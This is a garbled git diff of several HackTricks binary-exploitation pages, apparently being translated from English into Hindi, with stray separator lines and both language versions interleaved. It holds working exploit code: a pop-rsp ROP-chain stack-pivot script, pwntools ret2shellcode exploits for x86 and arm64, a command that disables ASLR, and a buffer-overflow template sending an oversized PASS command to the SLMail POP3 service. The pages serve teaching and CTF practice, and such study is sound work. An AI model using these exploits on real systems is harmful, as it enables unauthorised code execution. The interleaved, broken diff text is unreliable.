- **ऑप्टिमाइज्ड नहीं:**
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
|
||||
- **Optimized:**
|
||||
|
||||
- **अनुकूलित:**
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
sub $0x100,%esp # increase stack size
|
||||
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
ret # return
|
||||
```
|
||||
## RSP को नियंत्रित करने के अन्य तरीके
|
||||
|
||||
## Other ways to control RSP
|
||||
|
||||
### **`pop rsp`** gadget
|
||||
|
||||
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
|
||||
### **`pop rsp`** गैजेट
|
||||
|
||||
[**इस पृष्ठ पर**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) आप इस तकनीक का उपयोग करते हुए एक उदाहरण पा सकते हैं। इस चुनौती के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करना आवश्यक था, और वहाँ एक **`pop rsp` गैजेट** था और वहाँ **स्टैक से लीक** है:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
|
||||
|
||||
# The payload starts
|
||||
payload = flat(
|
||||
0, # r13
|
||||
0, # r14
|
||||
0, # r15
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0, # r15
|
||||
elf.sym['winner']
|
||||
0, # r13
|
||||
0, # r14
|
||||
0, # r15
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0, # r15
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(104, b'A') # pad to 104
|
||||
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
|
||||
# Start popping RSP, this moves the stack to the leaked address and
|
||||
# continues the ROP chain in the prepared payload
|
||||
payload += flat(
|
||||
POP_CHAIN,
|
||||
buffer # rsp
|
||||
POP_CHAIN,
|
||||
buffer # rsp
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
|
||||
### xchg \<reg>, rsp gadget
|
||||
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
xchg <reg>, rsp
|
||||
```
|
||||
|
||||
### jmp esp
|
||||
|
||||
Check the ret2esp technique here:
|
||||
यहाँ ret2esp तकनीक की जाँच करें:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## References & Other Examples
|
||||
## संदर्भ और अन्य उदाहरण
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
|
||||
- 64 बिट, एक से बाहर शोषण एक रॉप श्रृंखला के साथ जो एक ret sled से शुरू होती है
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
|
||||
- 64 बिट, कोई relro, कैनरी, nx और pie नहीं। प्रोग्राम स्टैक या pie के लिए एक लीक प्रदान करता है और एक qword का WWW। पहले स्टैक लीक प्राप्त करें और pie लीक प्राप्त करने के लिए WWW का उपयोग करें। फिर एक स्थायी लूप बनाने के लिए WWW का उपयोग करें जो `.fini_array` प्रविष्टियों का दुरुपयोग करता है + `__libc_csu_fini` को कॉल करता है ([यहाँ अधिक जानकारी](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). इस "स्थायी" लेखन का दुरुपयोग करते हुए, .bss में एक ROP श्रृंखला लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करने के लिए कॉल किया जाता है।
|
||||
|
||||
## ARM64
|
||||
|
||||
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
|
||||
ARM64 में, कार्यों के **प्रोलॉग और एपिलॉग** स्टैक में **SP रजिस्टर को स्टोर और पुनर्प्राप्त नहीं करते**। इसके अलावा, **`RET`** निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता, बल्कि **`x30`** के अंदर के पते पर लौटता है।
|
||||
|
||||
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
|
||||
इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप **SP रजिस्टर को नियंत्रित नहीं कर पाएंगे** कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल होते हैं, तो भी आपको **`x30`** रजिस्टर को नियंत्रित करने का एक तरीका चाहिए।
|
||||
|
||||
- prologue
|
||||
- प्रोलॉग
|
||||
|
||||
```armasm
|
||||
sub sp, sp, 16
|
||||
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||||
mov x29, sp // FP points to frame record
|
||||
```
|
||||
```armasm
|
||||
sub sp, sp, 16
|
||||
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||||
mov x29, sp // FP फ्रेम रिकॉर्ड की ओर इशारा करता है
|
||||
```
|
||||
|
||||
- epilogue
|
||||
- एपिलॉग
|
||||
|
||||
```armasm
|
||||
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
||||
add sp, sp, 16
|
||||
ret
|
||||
```
|
||||
```armasm
|
||||
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
||||
add sp, sp, 16
|
||||
ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
|
||||
> ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा **`SP`** को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान `SP` को पास किया जाता है या क्योंकि किसी कारण से `SP` अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर **एपिलॉग का दुरुपयोग** करके **`x30`** रजिस्टर को **नियंत्रित `SP`** से लोड करना और **`RET`** करना।
|
||||
|
||||
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
|
||||
इसके अलावा, निम्नलिखित पृष्ठ पर आप **ARM64 में Ret2esp** का समकक्ष देख सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
|
||||
@ -4,47 +4,42 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
|
||||
**Stack shellcode** एक तकनीक है जो **binary exploitation** में उपयोग की जाती है जहाँ एक हमलावर एक कमजोर प्रोग्राम के स्टैक पर शेलकोड लिखता है और फिर **Instruction Pointer (IP)** या **Extended Instruction Pointer (EIP)** को इस शेलकोड के स्थान की ओर मोड़ता है, जिससे यह निष्पादित होता है। यह एक क्लासिक विधि है जिसका उपयोग अनधिकृत पहुंच प्राप्त करने या लक्षित प्रणाली पर मनमाने आदेश निष्पादित करने के लिए किया जाता है। यहाँ प्रक्रिया का एक विवरण है, जिसमें एक सरल C उदाहरण और यह कैसे आप **pwntools** के साथ एक संबंधित एक्सप्लॉइट लिख सकते हैं।
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
|
||||
चलो एक कमजोर C प्रोग्राम के सरल उदाहरण से शुरू करते हैं:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||||
char buffer[64];
|
||||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
printf("Returned safely\n");
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण बफ़र ओवरफ़्लो के लिए संवेदनशील है।
|
||||
|
||||
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
|
||||
|
||||
### Compilation
|
||||
|
||||
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
|
||||
### संकलन
|
||||
|
||||
इस प्रोग्राम को संकलित करने के लिए जबकि विभिन्न सुरक्षा उपायों को निष्क्रिय किया गया है (संवेदनशील वातावरण का अनुकरण करने के लिए), आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
|
||||
- `-fno-stack-protector`: Disables stack protection.
|
||||
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
|
||||
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
|
||||
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
|
||||
- `-fno-stack-protector`: स्टैक सुरक्षा को अक्षम करता है।
|
||||
- `-z execstack`: स्टैक को निष्पादन योग्य बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है।
|
||||
- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा शेलकोड किस मेमोरी पते पर होगा।
|
||||
- `-m32`: प्रोग्राम को 32-बिट एक्सीक्यूटेबल के रूप में संकलित करता है, जो अक्सर शोषण विकास में सरलता के लिए उपयोग किया जाता है।
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
|
||||
|
||||
यहां बताया गया है कि आप **pwntools** का उपयोग करके **ret2shellcode** हमले को करने के लिए Python में एक शोषण कैसे लिख सकते हैं:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
यह स्क्रिप्ट एक पेलोड बनाती है जिसमें **NOP स्लाइड**, **शेलकोड** शामिल होता है, और फिर **EIP** को NOP स्लाइड की ओर इंगित करने वाले पते से ओवरराइट करती है, यह सुनिश्चित करते हुए कि शेलकोड निष्पादित हो जाए।
|
||||
|
||||
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
|
||||
**NOP स्लाइड** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" करेगा चाहे सटीक पता कुछ भी हो। अपने बफर के प्रारंभिक पते के लिए `p32()` तर्क को समायोजित करें और NOP स्लाइड में पहुंचने के लिए एक ऑफसेट जोड़ें।
|
||||
|
||||
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
|
||||
## सुरक्षा
|
||||
|
||||
## Protections
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीत फ़ंक्शन कहाँ लोड हुआ है।
|
||||
- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **स्टैक** सुरक्षा शेलकोड के स्टैक के अंदर निष्पादन को रोक देगी क्योंकि वह क्षेत्र निष्पादन योग्य नहीं होगा।
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
|
||||
|
||||
## Other Examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR with stack address leak, write shellcode and jump to it
|
||||
- 64बिट, ASLR के साथ स्टैक पता लीक, शेलकोड लिखें और उस पर कूदें
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR with stack leak, write shellcode and jump to it
|
||||
- 32 बिट, ASLR के साथ स्टैक लीक, शेलकोड लिखें और उस पर कूदें
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
|
||||
- 32 बिट, ASLR के साथ स्टैक लीक, exit() को कॉल करने से रोकने के लिए तुलना, एक मान के साथ वेरिएबल को ओवरराइट करें और शेलकोड लिखें और उस पर कूदें
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
|
||||
- arm64, कोई ASLR नहीं, स्टैक को निष्पादन योग्य बनाने के लिए ROP गैजेट और स्टैक में शेलकोड पर कूदें
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,47 +2,40 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
arm64 का परिचय यहाँ खोजें:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code 
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without pie, canary and nx:
|
||||
|
||||
पीआईई, कैनरी और एनएक्स के बिना संकलित करें:
|
||||
```bash
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
|
||||
## No ASLR & No canary - Stack Overflow 
|
||||
|
||||
To stop ASLR execute:
|
||||
|
||||
ASLR को रोकने के लिए निष्पादित करें:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
[**bof की ऑफसेट प्राप्त करने के लिए इस लिंक की जांच करें**](../ret2win/ret2win-arm64.md#finding-the-offset).
|
||||
|
||||
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
|
||||
|
||||
Exploit:
|
||||
|
||||
शोषण:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -73,9 +66,8 @@ p.send(payload)
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
यहाँ "जटिल" चीज़ केवल स्टैक में कॉल करने के लिए पता ढूंढना होगा। मेरे मामले में, मैंने gdb का उपयोग करके पाए गए पते के साथ एक्सप्लॉइट उत्पन्न किया, लेकिन फिर जब इसे एक्सप्लॉइट किया गया तो यह काम नहीं किया (क्योंकि स्टैक का पता थोड़ा बदल गया था)।
|
||||
|
||||
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
|
||||
|
||||
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
|
||||
मैंने उत्पन्न **`core` फ़ाइल** खोली (`gdb ./bog ./core`) और शेलकोड की शुरुआत का असली पता चेक किया।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,65 +4,63 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
|
||||
यहाँ का मुख्य विचार यह है कि **अनियोजित चर के साथ क्या होता है क्योंकि उनके पास पहले से आवंटित मेमोरी में जो मान था, वही होगा।** उदाहरण:
|
||||
|
||||
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
|
||||
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
|
||||
- **Function 1: `initializeVariable`**: हम एक चर `x` घोषित करते हैं और इसे एक मान सौंपते हैं, मान लीजिए `0x1234`। यह क्रिया मेमोरी में एक स्थान आरक्षित करने और उसमें एक विशिष्ट मान रखने के समान है।
|
||||
- **Function 2: `useUninitializedVariable`**: यहाँ, हम एक और चर `y` घोषित करते हैं लेकिन इसे कोई मान नहीं सौंपते। C में, अनियोजित चर स्वचालित रूप से शून्य पर सेट नहीं होते। इसके बजाय, वे अपनी मेमोरी स्थान पर अंतिम बार संग्रहीत मान को बनाए रखते हैं।
|
||||
|
||||
When we run these two functions **sequentially**:
|
||||
जब हम इन दोनों कार्यों को **क्रमिक रूप से** चलाते हैं:
|
||||
|
||||
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
|
||||
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
|
||||
1. `initializeVariable` में, `x` को एक मान (`0x1234`) सौंपा जाता है, जो एक विशिष्ट मेमोरी पते पर कब्जा करता है।
|
||||
2. `useUninitializedVariable` में, `y` घोषित किया जाता है लेकिन इसे कोई मान नहीं सौंपा जाता, इसलिए यह `x` के ठीक बाद का मेमोरी स्थान ले लेता है। `y` को अनियोजित छोड़ने के कारण, यह `x` द्वारा उपयोग किए गए उसी मेमोरी स्थान से मान "विरासत में" ले लेता है, क्योंकि वही अंतिम मान था जो वहाँ था।
|
||||
|
||||
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
|
||||
यह व्यवहार निम्न-स्तरीय प्रोग्रामिंग में एक प्रमुख अवधारणा को दर्शाता है: **मेमोरी प्रबंधन महत्वपूर्ण है**, और अनियोजित चर अप्रत्याशित व्यवहार या सुरक्षा कमजोरियों का कारण बन सकते हैं, क्योंकि वे अनजाने में मेमोरी में छोड़े गए संवेदनशील डेटा को रख सकते हैं।
|
||||
|
||||
Uninitialized stack variables could pose several security risks like:
|
||||
अनियोजित स्टैक चर कई सुरक्षा जोखिम पैदा कर सकते हैं जैसे:
|
||||
|
||||
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
|
||||
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
|
||||
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
|
||||
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
|
||||
- **Data Leakage**: संवेदनशील जानकारी जैसे पासवर्ड, एन्क्रिप्शन कुंजी, या व्यक्तिगत विवरण अनियोजित चर में संग्रहीत होने पर उजागर हो सकते हैं, जिससे हमलावरों को संभावित रूप से इस डेटा को पढ़ने की अनुमति मिलती है।
|
||||
- **Information Disclosure**: अनियोजित चर की सामग्री कार्यक्रम की मेमोरी लेआउट या आंतरिक संचालन के बारे में विवरण प्रकट कर सकती है, जिससे हमलावरों को लक्षित शोषण विकसित करने में मदद मिलती है।
|
||||
- **Crashes and Instability**: अनियोजित चर से संबंधित संचालन अपरिभाषित व्यवहार का परिणाम हो सकते हैं, जिससे कार्यक्रम क्रैश या अप्रत्याशित परिणाम हो सकते हैं।
|
||||
- **Arbitrary Code Execution**: कुछ परिदृश्यों में, हमलावर इन कमजोरियों का लाभ उठाकर कार्यक्रम के निष्पादन प्रवाह को बदल सकते हैं, जिससे उन्हें मनमाने कोड को निष्पादित करने की अनुमति मिलती है, जिसमें दूरस्थ कोड निष्पादन खतरों को शामिल किया जा सकता है।
|
||||
|
||||
### Example
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
// Function to initialize and print a variable
|
||||
void initializeAndPrint() {
|
||||
int initializedVar = 100; // Initialize the variable
|
||||
printf("Initialized Variable:\n");
|
||||
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
|
||||
int initializedVar = 100; // Initialize the variable
|
||||
printf("Initialized Variable:\n");
|
||||
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
|
||||
}
|
||||
|
||||
// Function to demonstrate the behavior of an uninitialized variable
|
||||
void demonstrateUninitializedVar() {
|
||||
int uninitializedVar; // Declare but do not initialize
|
||||
printf("Uninitialized Variable:\n");
|
||||
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
|
||||
int uninitializedVar; // Declare but do not initialize
|
||||
printf("Uninitialized Variable:\n");
|
||||
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
|
||||
}
|
||||
|
||||
int main() {
|
||||
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
|
||||
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
|
||||
|
||||
// First, call the function that initializes its variable
|
||||
initializeAndPrint();
|
||||
// First, call the function that initializes its variable
|
||||
initializeAndPrint();
|
||||
|
||||
// Then, call the function that has an uninitialized variable
|
||||
demonstrateUninitializedVar();
|
||||
// Then, call the function that has an uninitialized variable
|
||||
demonstrateUninitializedVar();
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
#### यह कैसे काम करता है:
|
||||
|
||||
#### How This Works:
|
||||
- **`initializeAndPrint` फ़ंक्शन**: यह फ़ंक्शन एक पूर्णांक चर `initializedVar` घोषित करता है, इसे `100` का मान सौंपता है, और फिर चर के मेमोरी पते और मान को प्रिंट करता है। यह कदम सीधा है और दिखाता है कि एक प्रारंभिक चर कैसे व्यवहार करता है।
|
||||
- **`demonstrateUninitializedVar` फ़ंक्शन**: इस फ़ंक्शन में, हम एक पूर्णांक चर `uninitializedVar` घोषित करते हैं बिना इसे प्रारंभ किए। जब हम इसके मान को प्रिंट करने का प्रयास करते हैं, तो आउटपुट एक यादृच्छिक संख्या दिखा सकता है। यह संख्या उस मेमोरी स्थान पर पहले से मौजूद डेटा का प्रतिनिधित्व करती है। वातावरण और संकलक के आधार पर, वास्तविक आउटपुट भिन्न हो सकता है, और कभी-कभी, सुरक्षा के लिए, कुछ संकलक स्वचालित रूप से चर को शून्य पर प्रारंभ कर सकते हैं, हालांकि इस पर भरोसा नहीं किया जाना चाहिए।
|
||||
- **`main` फ़ंक्शन**: `main` फ़ंक्शन उपरोक्त दोनों फ़ंक्शनों को अनुक्रम में कॉल करता है, एक प्रारंभिक चर और एक अप्रारंभिक चर के बीच का अंतर प्रदर्शित करता है।
|
||||
|
||||
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
|
||||
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
|
||||
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
|
||||
## ARM64 उदाहरण
|
||||
|
||||
## ARM64 Example
|
||||
|
||||
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
|
||||
यह ARM64 में बिल्कुल नहीं बदलता है क्योंकि स्थानीय चर भी स्टैक में प्रबंधित होते हैं, आप [**इस उदाहरण की जांच कर सकते हैं**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) जहाँ यह दिखाया गया है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,20 +2,17 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Start installing the SLMail service**
|
||||
## **SLMail सेवा स्थापित करना शुरू करें**
|
||||
|
||||
## Restart SLMail service
|
||||
|
||||
Every time you need to **restart the service SLMail** you can do it using the windows console:
|
||||
## SLMail सेवा को पुनः प्रारंभ करें
|
||||
|
||||
हर बार जब आपको **SLMail सेवा को पुनः प्रारंभ** करने की आवश्यकता होती है, तो आप इसे विंडोज कंसोल का उपयोग करके कर सकते हैं:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
|
||||
.png>)
|
||||
|
||||
## Very basic python exploit template
|
||||
|
||||
## बहुत बुनियादी पायथन एक्सप्लॉइट टेम्पलेट
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
@ -27,99 +24,89 @@ port = 110
|
||||
|
||||
buffer = 'A' * 2700
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **इम्युनिटी डिबगर फ़ॉन्ट बदलें**
|
||||
|
||||
## **Change Immunity Debugger Font**
|
||||
`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` पर जाएं
|
||||
|
||||
